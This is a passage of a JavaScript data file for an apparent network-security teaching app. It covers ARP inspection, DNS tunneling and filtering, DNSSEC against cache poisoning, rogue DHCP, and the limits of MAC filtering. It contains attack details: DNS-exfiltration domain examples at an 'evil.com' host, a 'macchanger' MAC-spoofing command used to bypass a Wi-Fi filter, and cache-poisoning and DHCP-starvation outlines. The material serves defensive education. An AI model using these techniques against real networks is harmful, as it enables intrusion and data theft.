Enabled`,badge:`Step 11: DAI Active ✓`,activeNodes:[`switch`],decision:`ALLOW`,whatIsHappening:`Managed switch enables Dynamic ARP Inspection and validates ARP against DHCP Snooping bindings.`,interviewTakeaway:`DAI switch hardware validates every ARP packet against trusted IP-MAC bindings.`},{id:12,label:`12. Attacker Attempts to Send Next Forged ARP Frame`,badge:`Step 12: Next Attack Probe`,activeNodes:[`attacker`],packetInfo:{srcIp:`192.168.1.1`,dstIp:`192.168.1.50`},whatIsHappening:`Attacker launches second forged ARP spoofing packet.`,interviewTakeaway:`Security controls are tested against active attacks.`},{id:13,label:`13. Switch Intercepts Forged ARP on Untrusted User Port`,badge:`Step 13: Switch Intercept`,activeNodes:[`switch`],decision:`INSPECT`,whatIsHappening:`Switch intercepts frame before it can reach victim client.`,interviewTakeaway:`DAI inspects all ARP frames on untrusted access ports.`},{id:14,label:`14. Switch Validates Against DHCP Snooping DB: MISMATCH DETECTED`,badge:`Step 14: Snooping Mismatch`,activeNodes:[`switch`],decision:`INSPECT`,whatIsHappening:`Switch checks binding table: 192.168.1.1 is bound to MAC 00:11:22 on trusted port Gi0/24, not 66:66:66 on port Fa0/4.`,interviewTakeaway:`Binding database detects spoofing in real time.`},{id:15,label:`15. Switch DROPS Forged Frame & Disables Attacker Port (ATTACK BLOCKED ✓)`,badge:`Step 15: ATTACK BLOCKED ✓`,activeNodes:[`switch`,`attacker`],decision:`DENY`,ruleMatched:`DAI Violation: Dropped Forged ARP on Port Fa0/4`,whatIsHappening:`Switch drops forged frame and err-disables attacker port.`,interviewTakeaway:`DAI prevents unauthorized MAC overwrites.`},{id:16,label:`16. Victim Traffic Restored Safely to Legitimate Gateway ✓`,badge:`Step 16: MITIGATION COMPLETE ✓`,activeNodes:[`client`,`gateway`],decision:`ALLOW`,whatIsHappening:`Victim communicates directly and securely with legitimate gateway.`,interviewTakeaway:`DAI + DHCP Snooping provides complete enterprise immunity against ARP poisoning.`}]},{id:33,categoryId:`network-services`,category:`ARP, DNS & DHCP`,title:`What is DNS, and what security risks can occur with DNS traffic?`,difficulty:`Intermediate`,visualType:`q33-dns-security`,elevatorPitch:`The Domain Name System (DNS) translates human-readable domain names (e.g., example.com) into machine-routable IP addresses (e.g., 198.51.100.25). Major security risks include DNS spoofing/cache poisoning, DNS tunneling for covert data exfiltration, DNS amplification DDoS attacks, and malware using Dynamic Domain Generation Algorithms (DGA) to reach C2 servers.`,deepDive:'### Core DNS Lookup Flow (Port 53 UDP/TCP)\n1. **Client Request:** Browser asks local resolver: *"What is the IP for example.com?"*\n2. **Recursive Resolution:** Resolver queries Root DNS (`.`) → TLD DNS (`.com`) → Authoritative DNS (`example.com`).\n3. **Response & Cache:** Resolver caches the A record and returns IP `198.51.100.25` to the client.\n\n### Critical DNS Security Risks\n* **DNS Tunneling (Data Exfiltration):** Malware encodes stolen passwords inside subdomains (e.g., `base64password.attacker-domain.com`). Because firewalls allow UDP 53 outbound, the query passes through the corporate resolver to the attacker’s authoritative server.\n* **DNS Amplification DDoS:** Attackers send small queries with spoofed victim source IPs to open DNS resolvers requesting large responses (e.g., `ANY` records with DNSSEC), amplifying traffic 50x–100x against the victim.\n* **Malicious / DGA Domains:** Botnets generate thousands of pseudorandom domains daily (e.g. `x89k1z9.biz`) to evade static firewall blocklists.\n\n### Defenses: DNS Security & Sinkholing\nNext-Gen Firewalls inspect DNS traffic in real time, block known malicious domains, and sinkhole queries (redirecting compromised hosts to an internal quarantine page).',realWorldScenario:"Ransomware compromised an accounting workstation and attempted to exfiltrate credit card numbers by querying `4111222233334444.exfil.evil.com` over UDP port 53. The enterprise firewall running DNS Security detected high-entropy DNS tunneling patterns, dropped the query, and alerted the SOC.",commonTraps:[`Treating DNS as harmless infrastructure and leaving UDP port 53 uninspected on firewalls.`,`Allowing internal clients to query public DNS servers (8.8.8.8) directly instead of forcing all queries through controlled internal resolvers.`],cliSnippet:`# Test DNS Resolution (nslookup / dig)
nslookup example.com 10.0.0.1
dig +trace example.com

# Palo Alto DNS Sinkhole Configuration
set shared profiles dns-security "Default_Sinkhole" sinkhole ipv4-address-sinkhole 10.255.255.255`,quiz:{question:`How do attackers use DNS Tunneling to bypass traditional perimeter firewalls?`,options:[`By disabling the firewall power supply via SNMP`,`By encoding stolen data inside DNS query subdomains over standard permitted UDP port 53`,`By converting HTTP traffic into BGP routing updates`,`By flooding the local switch CAM table with MAC addresses`],correctAnswer:1,explanation:`DNS tunneling encodes data into DNS subdomains (e.g. stolen_data.evil.com) and sends them over standard UDP port 53, which is typically permitted through firewalls.`},steps:[{id:1,label:`1. Client Endpoint Active (10.0.1.50)`,badge:`Step 1: Client Host`,activeNodes:[`client`],whatIsHappening:`Client prepares to resolve domain name into IP address.`,interviewTakeaway:`Applications depend on DNS before initiating IP connections.`},{id:2,label:`2. Corporate DNS Resolver Active (Port 53 UDP)`,badge:`Step 2: DNS Resolver`,activeNodes:[`dns-server`],whatIsHappening:`Corporate recursive DNS server listening on port 53 UDP/TCP.`,interviewTakeaway:`Centralized DNS resolvers enforce caching and domain filtering.`},{id:3,label:`3. Target Web Server Active (198.51.100.25:443)`,badge:`Step 3: Web Server`,activeNodes:[`web-server`],whatIsHappening:`Legitimate web server hosting example.com.`,interviewTakeaway:`DNS connects domain names to physical server IPs.`},{id:4,label:`4. Network Cables Connected`,badge:`Step 4: Cables Connected`,activeNodes:[`client`,`dns-server`,`web-server`],whatIsHappening:`Cables interconnect Client, DNS Resolver, and Target Web Server.`,interviewTakeaway:`DNS operates alongside application transit paths.`},{id:5,label:`5. Client Creates DNS Query: "What is IP for example.com?"`,badge:`Step 5: Query Created`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`10.0.0.1`,srcPort:54100,dstPort:53,protocol:`UDP`,payloadSummary:`Query: example.com (Type A)`},whatIsHappening:`Client sends recursive DNS query to corporate resolver.`,interviewTakeaway:`DNS queries travel over UDP port 53.`},{id:6,label:`6. Query Moves: Client → DNS Resolver`,badge:`Step 6: Query Transit`,activeNodes:[`client`,`dns-server`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`10.0.0.1`,srcPort:54100,dstPort:53,protocol:`UDP`},whatIsHappening:`Query arrives at DNS resolver.`,interviewTakeaway:`Resolver receives query on port 53.`},{id:7,label:`7. DNS Resolver Performs Recursive Lookup & Prepares A-Record`,badge:`Step 7: Lookup & Cache`,activeNodes:[`dns-server`],decision:`INSPECT`,whatIsHappening:`Resolver queries authoritative nameservers, caches result, and builds response.`,interviewTakeaway:`Resolvers cache DNS mappings to speed up subsequent queries.`},{id:8,label:`8. Response Moves: DNS Resolver → Client (example.com = 198.51.100.25)`,badge:`Step 8: Response Transit`,activeNodes:[`dns-server`,`client`],packetInfo:{srcIp:`10.0.0.1`,dstIp:`10.0.1.50`,srcPort:53,dstPort:54100,protocol:`UDP`,payloadSummary:`Answer: example.com → 198.51.100.25 (TTL 300)`},decision:`ALLOW`,whatIsHappening:`Resolver answers with validated IP address 198.51.100.25.`,interviewTakeaway:`Client caches resolved IP address for immediate connection.`},{id:9,label:`9. Client Receives IP Address 198.51.100.25`,badge:`Step 9: IP Resolved ✓`,activeNodes:[`client`],decision:`ALLOW`,whatIsHappening:`Client extracts IP 198.51.100.25 from DNS response.`,interviewTakeaway:`Client is now ready to build TCP connection.`},{id:10,label:`10. Client Creates HTTPS Data Packet to 198.51.100.25:443`,badge:`Step 10: HTTPS Created`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`198.51.100.25`,srcPort:51200,dstPort:443,protocol:`TCP`},whatIsHappening:`Client opens TCP 443 socket to the resolved web server IP.`,interviewTakeaway:`Application sessions use the resolved IP address.`},{id:11,label:`11. Packet Moves: Client → Web Server`,badge:`Step 11: HTTPS Transit`,activeNodes:[`client`,`web-server`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`198.51.100.25`,srcPort:51200,dstPort:443,protocol:`TCP`},whatIsHappening:`HTTPS packet reaches web server interface.`,interviewTakeaway:`Traffic flows directly to resolved server.`},{id:12,label:`12. Web Server Receives Request & Responds (LEGITIMATE FLOW COMPLETE ✓)`,badge:`Step 12: SCENARIO 1 COMPLETE ✓`,activeNodes:[`web-server`,`client`],decision:`ALLOW`,whatIsHappening:`Web server delivers requested web page to client. (Legitimate Flow Complete - STOP).`,interviewTakeaway:`Successful DNS resolution enables application layer connectivity.`},{id:13,label:`13. SCENARIO 2: Malware on Client Queries C2 Threat Domain (malware-c2.xyz)`,badge:`Step 13: Malicious Query`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`10.0.0.1`,srcPort:55200,dstPort:53,protocol:`UDP`,payloadSummary:`Query: malware-c2-botnet.xyz`},whatIsHappening:`Infected endpoint sends DNS lookup for known malicious command-and-control domain.`,interviewTakeaway:`Threat actors use dynamic DNS domains for malware orchestration.`},{id:14,label:`14. Query Moves: Client → DNS Security Firewall`,badge:`Step 14: Threat Ingress`,activeNodes:[`client`,`dns-server`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`10.0.0.1`,srcPort:55200,dstPort:53,protocol:`UDP`},whatIsHappening:`DNS security firewall inspects incoming query domain.`,interviewTakeaway:`DNS security gateways inspect domain threat reputation in real time.`},{id:15,label:`15. Threat Intelligence Match: High-Risk C2 Domain Identified`,badge:`Step 15: Threat Identified`,activeNodes:[`dns-server`],decision:`INSPECT`,whatIsHappening:`DNS firewall identifies domain as known active ransomware C2 controller.`,interviewTakeaway:`Threat feeds correlate queries against global threat intelligence.`},{id:16,label:`16. Action: Query SINKHOLED / BLOCKED (Redirected to Quarantine IP) ✕`,badge:`Step 16: SINKHOLED ✕`,activeNodes:[`dns-server`],decision:`DENY`,ruleMatched:`DNS Security: Malicious C2 Domain Blocked / Sinkholed`,whatIsHappening:`DNS firewall blocks resolution, redirects to sinkhole IP, and alerts SOC.`,interviewTakeaway:`DNS security filtering neutralizes malware communication before TCP connections form.`},{id:17,label:`17. DNS Security Summary Complete ✓`,badge:`Step 17: DNS SEC COMPLETE ✓`,activeNodes:[`dns-server`],decision:`ALLOW`,whatIsHappening:`Summary: DNS resolution connects users; DNS security filtering stops malware and tunneling.`,interviewTakeaway:`DNS filtering is a critical first line of enterprise threat defense.`}]},{id:34,categoryId:`network-services`,category:`ARP, DNS & DHCP`,title:`What is DNS spoofing/poisoning and how does DNSSEC mitigate it?`,difficulty:`Intermediate`,visualType:`q34-dns-spoofing`,elevatorPitch:`DNS spoofing (or DNS cache poisoning) occurs when an attacker injects fraudulent IP address mappings into a recursive DNS resolver’s cache. When legitimate clients query that domain, the resolver returns the attacker’s malicious IP (e.g. redirecting users to a fake banking phishing site). DNSSEC (DNS Security Extensions) prevents this by cryptographically signing DNS records with digital signatures.`,deepDive:`### Mechanics of the Kaminsky DNS Poisoning Attack
1. **Client Query:** Client asks recursive resolver for \`bank.com\`.
2. **Resolver Query to Authoritative DNS:** Resolver sends recursive query with a pseudo-random **16-bit Transaction ID (TXID)** and source port.
3. **Attacker Race Condition:** Attacker floods the resolver with thousands of forged DNS responses with guessed TXIDs claiming \`bank.com = 203.0.113.99 (Attacker IP)\`.
4. **Cache Poisoned:** If one forged response arrives before the real authoritative reply and matches the TXID, the resolver saves the fake IP in cache and serves it to all network clients.

### How DNSSEC Solves the Problem
* **Cryptographic Signatures (RRSIG):** Authoritative DNS zones sign their DNS records with private keys.
* **Public Key Validation (DNSKEY):** Resolvers validate the digital signature using public keys chained up to the trusted **Root DNS Zone Key Signing Key (KSK)**.
* **Forgery Rejection:** Forged responses lacking valid cryptographic signatures are dropped instantly.`,realWorldScenario:`An attacker poisoned the DNS cache of an ISP resolver, mapping a major cryptocurrency wallet domain to an attacker-controlled server running an identical clone website. Over $2 million in tokens were stolen in 2 hours before the ISP flushed its cache and enabled DNSSEC signature validation.`,commonTraps:[`Assuming HTTPS alone prevents DNS spoofing (Browsers will show an SSL certificate error if spoofed, but non-HTTPS services, API endpoints, and users ignoring warnings are immediately compromised).`,`Confusing DNSSEC (which signs records for integrity) with DoH/DoT (which encrypts DNS queries for privacy).`],cliSnippet:`# Verify DNSSEC Validation with dig
dig +dnssec bank.com

# Response contains RRSIG record:
# bank.com. 300 IN RRSIG A 13 2 300 20261015000000 ...`,quiz:{question:`How does DNSSEC prevent DNS cache poisoning attacks?`,options:[`By encrypting all DNS queries with AES-256 passwords`,`By cryptographically signing DNS resource records (RRSIG) to prove data integrity and origin authenticity`,`By converting DNS UDP packets into TCP SYN packets`,`By automatically blocking all foreign top-level domains`],correctAnswer:1,explanation:`DNSSEC uses asymmetric cryptography (digital signatures and public keys) to validate the authenticity and integrity of DNS responses, making forged records undetectable and instantly rejected.`},steps:[{id:1,label:`1. Client Endpoint Active (10.0.1.50)`,badge:`Step 1: Client Host`,activeNodes:[`client`],whatIsHappening:`Client prepares to query domain name for critical financial service (bank.com).`,interviewTakeaway:`Clients trust resolver responses for correct IP routing.`},{id:2,label:`2. Recursive DNS Resolver Active`,badge:`Step 2: Recursive Resolver`,activeNodes:[`dns-resolver`],whatIsHappening:`Recursive resolver handles domain lookups and caches answers in local memory.`,interviewTakeaway:`Shared resolver caches serve entire enterprise networks.`},{id:3,label:`3. Legitimate Authoritative Web Server Active (198.51.100.50)`,badge:`Step 3: Real Server`,activeNodes:[`real-server`],whatIsHappening:`Legitimate banking web server with official IP 198.51.100.50.`,interviewTakeaway:`Legitimate services must be protected from DNS redirection.`},{id:4,label:`4. Network Cables Connected`,badge:`Step 4: Cables Connected`,activeNodes:[`client`,`dns-resolver`,`real-server`],whatIsHappening:`Cables connect Client → DNS Resolver → Server.`,interviewTakeaway:`DNS query path established.`},{id:5,label:`5. Client Sends DNS Query for "bank.com"`,badge:`Step 5: Query Sent`,activeNodes:[`client`,`dns-resolver`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`10.0.0.1`,payloadSummary:`Query: bank.com (TXID: 0x4B2A)`},whatIsHappening:`Client sends recursive DNS query; resolver forwards query to authoritative nameserver.`,interviewTakeaway:`Resolver waits for authoritative response matching TXID.`},{id:6,label:`6. Attacker Injects Forged DNS Response (Guessed TXID: bank.com = 203.0.113.99)`,badge:`Step 6: FORGED DNS INJECTED`,activeNodes:[`attacker`,`dns-resolver`],packetInfo:{srcIp:`Attacker (Forged)`,dstIp:`10.0.0.1`,payloadSummary:`FORGED: bank.com → 203.0.113.99 (Phishing IP)`},decision:`DENY`,whatIsHappening:`Attacker races forged reply into resolver cache with guessed Transaction ID.`,interviewTakeaway:`Cache poisoning tricks resolvers into caching fraudulent IP mappings.`},{id:7,label:`7. Forged Response Wins Race: Resolver Cache POISONED ✕`,badge:`Step 7: POISONED CACHE ✕`,activeNodes:[`dns-resolver`],decision:`DENY`,whatIsHappening:`Resolver accepts forged record before authoritative server arrives; stores 203.0.113.99 in cache.`,interviewTakeaway:`Poisoned cache serves fake records to all network users.`},{id:8,label:`8. Poisoned Answer Delivered to Client Browser`,badge:`Step 8: Fake IP Delivered`,activeNodes:[`dns-resolver`,`client`],packetInfo:{srcIp:`10.0.0.1`,dstIp:`10.0.1.50`,payloadSummary:`bank.com = 203.0.113.99 (Phishing Server)`},decision:`DENY`,whatIsHappening:`Resolver serves poisoned answer to client browser.`,interviewTakeaway:`Client is tricked into connecting to malicious server.`},{id:9,label:`9. Client Connects to Attacker Phishing Server (COMPROMISED ✕)`,badge:`Step 9: SCENARIO 1 COMPLETE ✕`,activeNodes:[`client`,`real-server`],decision:`DENY`,whatIsHappening:`Client browser opens session to fake portal; credentials harvested. (Attack Complete - STOP).`,interviewTakeaway:`Unauthenticated DNS allows attackers to hijack entire domain traffic.`},{id:10,label:`10. SCENARIO 2: DNSSEC Cryptographic Validation Enabled`,badge:`Step 10: DNSSEC Active ✓`,activeNodes:[`dns-resolver`],decision:`ALLOW`,whatIsHappening:`Resolver enables DNSSEC and verifies digital signature (RRSIG) against Root Trust Anchor.`,interviewTakeaway:`DNSSEC validates cryptographic chain of trust from Root to Authoritative.`},{id:11,label:`11. Client Resends DNS Query for "bank.com"`,badge:`Step 11: DNSSEC Query`,activeNodes:[`client`,`dns-resolver`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`10.0.0.1`,payloadSummary:`Query: bank.com (DNSSEC DO=1)`},whatIsHappening:`Client sends query with DNSSEC OK flag set.`,interviewTakeaway:`DNSSEC requests cryptographic signatures.`},{id:12,label:`12. Attacker Attempts to Inject Forged Response Again`,badge:`Step 12: Second Attack Probe`,activeNodes:[`attacker`],packetInfo:{srcIp:`Attacker (Forged)`,dstIp:`10.0.0.1`,payloadSummary:`FORGED: bank.com → 203.0.113.99 (Unsigned)`},whatIsHappening:`Attacker sends forged response with guessed TXID.`,interviewTakeaway:`Attackers cannot forge cryptographic signatures without private keys.`},{id:13,label:`13. Resolver Validates RRSIG Signature: Forged Reply Lacks Valid Signature`,badge:`Step 13: RRSIG Validation`,activeNodes:[`dns-resolver`],decision:`INSPECT`,whatIsHappening:`Resolver checks RRSIG signature against DNSKEY; forged record lacks valid cryptographic signature.`,interviewTakeaway:`Cryptographic validation exposes forged records.`},{id:14,label:`14. Action: Forged Record REJECTED & DISCARDED ✕`,badge:`Step 14: FORGERY DROPPED ✕`,activeNodes:[`dns-resolver`],decision:`DENY`,ruleMatched:`DNSSEC Violation: Invalid RRSIG Signature → Forgery Discarded`,whatIsHappening:`Resolver drops forged reply and waits for authentic signed response.`,interviewTakeaway:`DNSSEC prevents poisoned data from entering the cache.`},{id:15,label:`15. Authentic Signed Record Validated (bank.com = 198.51.100.50 ✓)`,badge:`Step 15: Authentic A-Record`,activeNodes:[`dns-resolver`],decision:`ALLOW`,whatIsHappening:`Authoritative server returns signed RRSIG; cryptographic validation passes 100%.`,interviewTakeaway:`Authentic records are validated through Root KSK chain.`},{id:16,label:`16. Validated Response Delivered: Client Connects to Official Bank ✓`,badge:`Step 16: DELIVERED ✓`,activeNodes:[`client`,`real-server`],decision:`ALLOW`,whatIsHappening:`Client receives official IP 198.51.100.50 and connects securely to official bank.`,interviewTakeaway:`DNSSEC guarantees data integrity and origin authenticity.`},{id:17,label:`17. DNSSEC Cryptographic Defense Summary Complete ✓`,badge:`Step 17: DNSSEC COMPLETE ✓`,activeNodes:[`dns-resolver`],decision:`ALLOW`,whatIsHappening:`Summary: DNSSEC eliminates DNS cache poisoning by cryptographically validating origin integrity.`,interviewTakeaway:`DNSSEC is the global gold standard for DNS spoofing prevention.`}]},{id:35,categoryId:`network-services`,category:`ARP, DNS & DHCP`,title:`What is DHCP, and what are DHCP security risks (Rogue DHCP & Starvation)?`,difficulty:`Intermediate`,visualType:`q35-dhcp-rogue`,elevatorPitch:`Dynamic Host Configuration Protocol (DHCP) automatically assigns IP addresses, subnet masks, default gateways, and DNS servers to network clients via a 4-step DORA handshake (Discover, Offer, Request, ACK). Security risks include Rogue DHCP servers (which assign malicious gateways/DNS to hijack traffic) and DHCP Starvation attacks (exhausting IP pools). They are prevented with DHCP Snooping.`,deepDive:`### The Standard DHCP Handshake (DORA Process)
1. **Discover (Broadcast):** Client broadcasts on UDP 67: *"I need an IP address."*
2. **Offer (Unicast/Broadcast):** DHCP Server offers IP \`192.168.1.100\`, Mask, Gateway \`192.168.1.1\`, DNS \`10.0.0.1\`.
3. **Request (Broadcast):** Client formally requests the offered IP.
4. **Acknowledge (ACK):** DHCP Server confirms lease and commits binding.

### Major DHCP Security Attacks
* **Rogue DHCP Server Attack:**
  * An attacker on the LAN runs an unauthorized DHCP server.
  * When a new client broadcasts a DHCP Discover, the rogue server responds faster than the real server.
  * The rogue server hands out a valid IP but sets the **Default Gateway and DNS Server to the Attacker's IP**.
  * All client internet traffic now routes directly through the attacker (Full MITM).
* **DHCP Starvation Attack:**
  * Attacker floods thousands of DHCP Discovers with spoofed MAC addresses (e.g. using \`yersinia\`).
  * The legitimate DHCP server exhausts its entire pool of available IP addresses, causing a Denial of Service for all new network devices.

### Defense: DHCP Snooping
* Enterprise switch classifies ports as **Trusted** (uplinks to real DHCP servers) or **Untrusted** (standard user access ports).
* The switch drops DHCP **Offer and ACK** messages on untrusted ports, instantly killing rogue DHCP servers.`,realWorldScenario:`An employee brought a home Wi-Fi router to the office and plugged it into a wall jack LAN port. The router’s built-in DHCP server began issuing 192.168.0.x IP addresses to neighboring employees, breaking their connection to the corporate network. Enabling DHCP Snooping on the edge switch blocked the home router’s rogue DHCP offers in milliseconds.`,commonTraps:[`Assuming clients will only accept DHCP offers from the official corporate server (Clients accept whichever valid DHCP Offer packet arrives first!).`,`Forgetting to configure DHCP rate-limiting on access ports to prevent starvation attacks.`],cliSnippet:`# Cisco Switch DHCP Snooping Configuration
ip dhcp snooping
ip dhcp snooping vlan 10,20
!
interface GigabitEthernet0/48
 description Uplink to Authorized Corporate DHCP Server
 ip dhcp snooping trust
!
interface range GigabitEthernet0/1 - 24
 description User Access Ports
 ip dhcp snooping limit rate 15`,quiz:{question:`What is the primary danger of a Rogue DHCP Server on a corporate local network?`,options:[`It overheats the physical Ethernet switch cables`,`It can assign its own IP address as the client’s Default Gateway and DNS server, enabling full Man-in-the-Middle traffic interception`,`It deletes files from the Windows System32 directory`,`It changes the client’s physical MAC address`],correctAnswer:1,explanation:`A rogue DHCP server issues fraudulent network configurations, assigning the attacker’s machine as the Default Gateway and DNS server to hijack all client traffic.`},steps:[{id:1,label:`1. Unconfigured Client Joins Network (0.0.0.0)`,badge:`Step 1: New Endpoint`,activeNodes:[`client`],whatIsHappening:`New client endpoint powers on without an assigned IP address.`,interviewTakeaway:`Endpoints broadcast to locate a DHCP server.`},{id:2,label:`2. Client Broadcasts 1. DHCP DISCOVER (UDP 67)`,badge:`Step 2: DISCOVER`,activeNodes:[`client`],packetInfo:{srcIp:`0.0.0.0`,dstIp:`255.255.255.255`,srcPort:68,dstPort:67,protocol:`UDP`,payloadSummary:`DHCP Discover: Client seeking IP assignment`},whatIsHappening:`Client sends Layer 2 broadcast requesting network configuration parameters.`,interviewTakeaway:`DHCP Discover uses source 0.0.0.0 and destination 255.255.255.255.`},{id:3,label:`3. Authorized Corporate DHCP Server Active`,badge:`Step 3: Official Server`,activeNodes:[`dhcp-server`],whatIsHappening:`Corporate authorized DHCP server listening on trusted switch uplink.`,interviewTakeaway:`Authorized DHCP servers manage defined corporate IP pools.`},{id:4,label:`4. Server Sends 2. DHCP OFFER (192.168.1.100)`,badge:`Step 4: OFFER`,activeNodes:[`dhcp-server`,`client`],packetInfo:{srcIp:`192.168.1.1`,dstIp:`192.168.1.100`,payloadSummary:`DHCP Offer: IP=192.168.1.100, GW=192.168.1.1, DNS=10.0.0.1`},whatIsHappening:`Server offers available IP address, subnet mask, default gateway, and DNS.`,interviewTakeaway:`DHCP Offers contain full network configuration profiles.`},{id:5,label:`5. Client Broadcasts 3. DHCP REQUEST for Offered IP`,badge:`Step 5: REQUEST`,activeNodes:[`client`,`dhcp-server`],packetInfo:{srcIp:`0.0.0.0`,dstIp:`255.255.255.255`,payloadSummary:`DHCP Request: Client requests offered 192.168.1.100`},whatIsHappening:`Client broadcasts formal acceptance of offered IP.`,interviewTakeaway:`Request is broadcast so all other DHCP servers know the offer was taken.`},{id:6,label:`6. Server Commits Lease & Sends 4. DHCP ACK`,badge:`Step 6: ACKNOWLEDGE`,activeNodes:[`dhcp-server`,`client`],packetInfo:{srcIp:`192.168.1.1`,dstIp:`192.168.1.100`,payloadSummary:`DHCP ACK: Lease Committed (192.168.1.100 / 86400s)`},decision:`ALLOW`,whatIsHappening:`Server writes lease binding to database and commits configuration.`,interviewTakeaway:`ACK finalizes the 4-way DORA handshake.`},{id:7,label:`7. Client Configures Interface (IP, Gateway, DNS Active ✓)`,badge:`Step 7: Interface Configured`,activeNodes:[`client`],decision:`ALLOW`,whatIsHappening:`Client binds IP 192.168.1.100 to local network adapter.`,interviewTakeaway:`Host network stack is now fully operational.`},{id:8,label:`8. Client Sends Normal Traffic to Gateway (DORA COMPLETE ✓)`,badge:`Step 8: SCENARIO 1 COMPLETE ✓`,activeNodes:[`client`,`dhcp-server`],decision:`ALLOW`,whatIsHappening:`Client initiates communication across network. (DORA Complete - STOP).`,interviewTakeaway:`DORA completes automatic client network bootstrapping.`},{id:9,label:`9. SCENARIO 2: Rogue DHCP Server Connected to Access Port`,badge:`Step 9: Rogue Server`,activeNodes:[`rogue-dhcp`],whatIsHappening:`Attacker launches unauthorized Rogue DHCP server on untrusted access port.`,interviewTakeaway:`Rogue DHCP servers exploit lack of client authentication.`},{id:10,label:`10. Next Client Broadcasts DHCP DISCOVER`,badge:`Step 10: New Discover`,activeNodes:[`client`],packetInfo:{srcIp:`0.0.0.0`,dstIp:`255.255.255.255`},whatIsHappening:`Unconfigured client seeks network configuration.`,interviewTakeaway:`Clients accept whichever DHCP offer arrives first.`},{id:11,label:`11. Rogue Server Races Malicious Offer (Gateway = Attacker IP)`,badge:`Step 11: MALICIOUS OFFER`,activeNodes:[`rogue-dhcp`],packetInfo:{srcIp:`192.168.1.200`,dstIp:`Client`,payloadSummary:`Rogue Offer: Gateway=192.168.1.200 (Attacker), DNS=Attacker`},decision:`DENY`,whatIsHappening:`Rogue server answers faster, assigning Attacker IP as Default Gateway to hijack traffic.`,interviewTakeaway:`Rogue DHCP steals traffic by overriding gateway and DNS configurations.`},{id:12,label:`12. PREVENTION: Switch DHCP Snooping Active`,badge:`Step 12: DHCP Snooping Active`,activeNodes:[`switch`],decision:`ALLOW`,whatIsHappening:`Switch enforces DHCP Snooping: marks uplink as Trusted and user ports as Untrusted.`,interviewTakeaway:`DHCP Snooping blocks DHCP server packets on untrusted access ports.`},{id:13,label:`13. Switch Intercepts Rogue DHCP Offer on Untrusted Port`,badge:`Step 13: Switch Intercept`,activeNodes:[`switch`],decision:`INSPECT`,whatIsHappening:`Switch hardware filters incoming frames on access port Fa0/8.`,interviewTakeaway:`DHCP Snooping inspects DHCP protocol headers at Layer 2.`},{id:14,label:`14. Security Violation: DHCP Server Packets Forbidden on Access Ports`,badge:`Step 14: Snooping Violation`,activeNodes:[`switch`],decision:`DENY`,whatIsHappening:`Switch identifies unauthorized DHCP Offer packet on untrusted port.`,interviewTakeaway:`Unauthorized DHCP packets violate snooping policy.`},{id:15,label:`15. Switch DROPS Rogue Offer & Disables Rogue Port (ROGUE BLOCKED ✓)`,badge:`Step 15: ROGUE BLOCKED ✓`,activeNodes:[`switch`,`rogue-dhcp`],decision:`DENY`,ruleMatched:`DHCP Snooping: Dropped unauthorized DHCP Offer on Port Fa0/8`,whatIsHappening:`Switch drops rogue packet and shuts down attacker port.`,interviewTakeaway:`DHCP Snooping stops rogue servers before clients receive malicious leases.`},{id:16,label:`16. Client Leased Safely from Official Server ✓`,badge:`Step 16: LEASE SECURED ✓`,activeNodes:[`client`,`dhcp-server`],decision:`ALLOW`,whatIsHappening:`Client receives official configuration safely. DHCP Snooping defense verified.`,interviewTakeaway:`DHCP Snooping guarantees only authorized corporate DHCP servers can assign leases.`}]}],b=[{id:36,categoryId:`network-services`,category:`ARP, DNS & DHCP`,title:`What is MAC address filtering and what are its limitations?`,difficulty:`Beginner`,visualType:`q36-mac-filtering`,elevatorPitch:`MAC address filtering is a Layer 2 access control mechanism that allows or blocks network devices based on their physical 48-bit hardware MAC address. Its primary limitation is that MAC addresses are broadcast in cleartext across Ethernet and Wi-Fi frames, allowing attackers to easily sniff an authorized MAC address and spoof (clone) it on their own device to bypass the filter.`,deepDive:`### How MAC Address Filtering Works
* **Switch Port Security / AP Whitelisting:** The switch or Wi-Fi access point maintains a table of approved MAC addresses (e.g. \`00:50:56:C0:00:08\`).
* **Frame Ingress Check:** When a frame enters an ingress port, the hardware checks the Source MAC address in the Ethernet header.
* **Match vs Non-Match:** If the MAC is in the allow-list, the frame is switched. If not, the frame is dropped or the switch port is placed in \`err-disable\` shutdown mode.

### Severe Security Limitations
1. **Cleartext Transmission:** Layer 2 frame headers are never encrypted by standard Ethernet. Any attacker with Wireshark or \`airodump-ng\` can capture authorized MACs in seconds.
2. **Trivial MAC Spoofing:** Changing a MAC address in Windows, Linux, or macOS takes a single command (\`macchanger\` or Network Adapter properties).
3. **High Administrative Burden:** In large enterprises, maintaining static MAC allow-lists across thousands of dynamic employee laptops, phones, and docking stations is impossible.
4. **Modern MAC Randomization:** iOS and Android devices randomize their MAC addresses by default for privacy on every connection, breaking static MAC whitelists.

### Real Enterprise Defense
Replace static MAC filtering with **IEEE 802.1X Port-Based Network Access Control (EAP-TLS)**, which requires cryptographic certificates or credentials before granting network access.`,realWorldScenario:"A small business configured MAC filtering on their office Wi-Fi to keep unauthorized neighbors out. An attacker sat in the parking lot, ran Wireshark for 30 seconds to capture an authorized laptop’s MAC (`00:50:56:C0:00:08`), cloned it onto their Kali Linux laptop with `macchanger -m 00:50:56:C0:00:08 wlan0`, and connected to the corporate LAN unimpeded.",commonTraps:[`Believing MAC address filtering provides robust security (It is only basic access hygiene, not a cryptographic security boundary).`,`Thinking MAC addresses are permanently burnt-in and unchangeable in software (The OS network driver can overwrite the source MAC in outgoing frames effortlessly).`],cliSnippet:`# Cisco Switchport Port-Security Configuration
interface GigabitEthernet0/1
 switchport mode access
 switchport port-security
 switchport port-security maximum 1
 switchport port-security mac-address 0050.56c0.0008
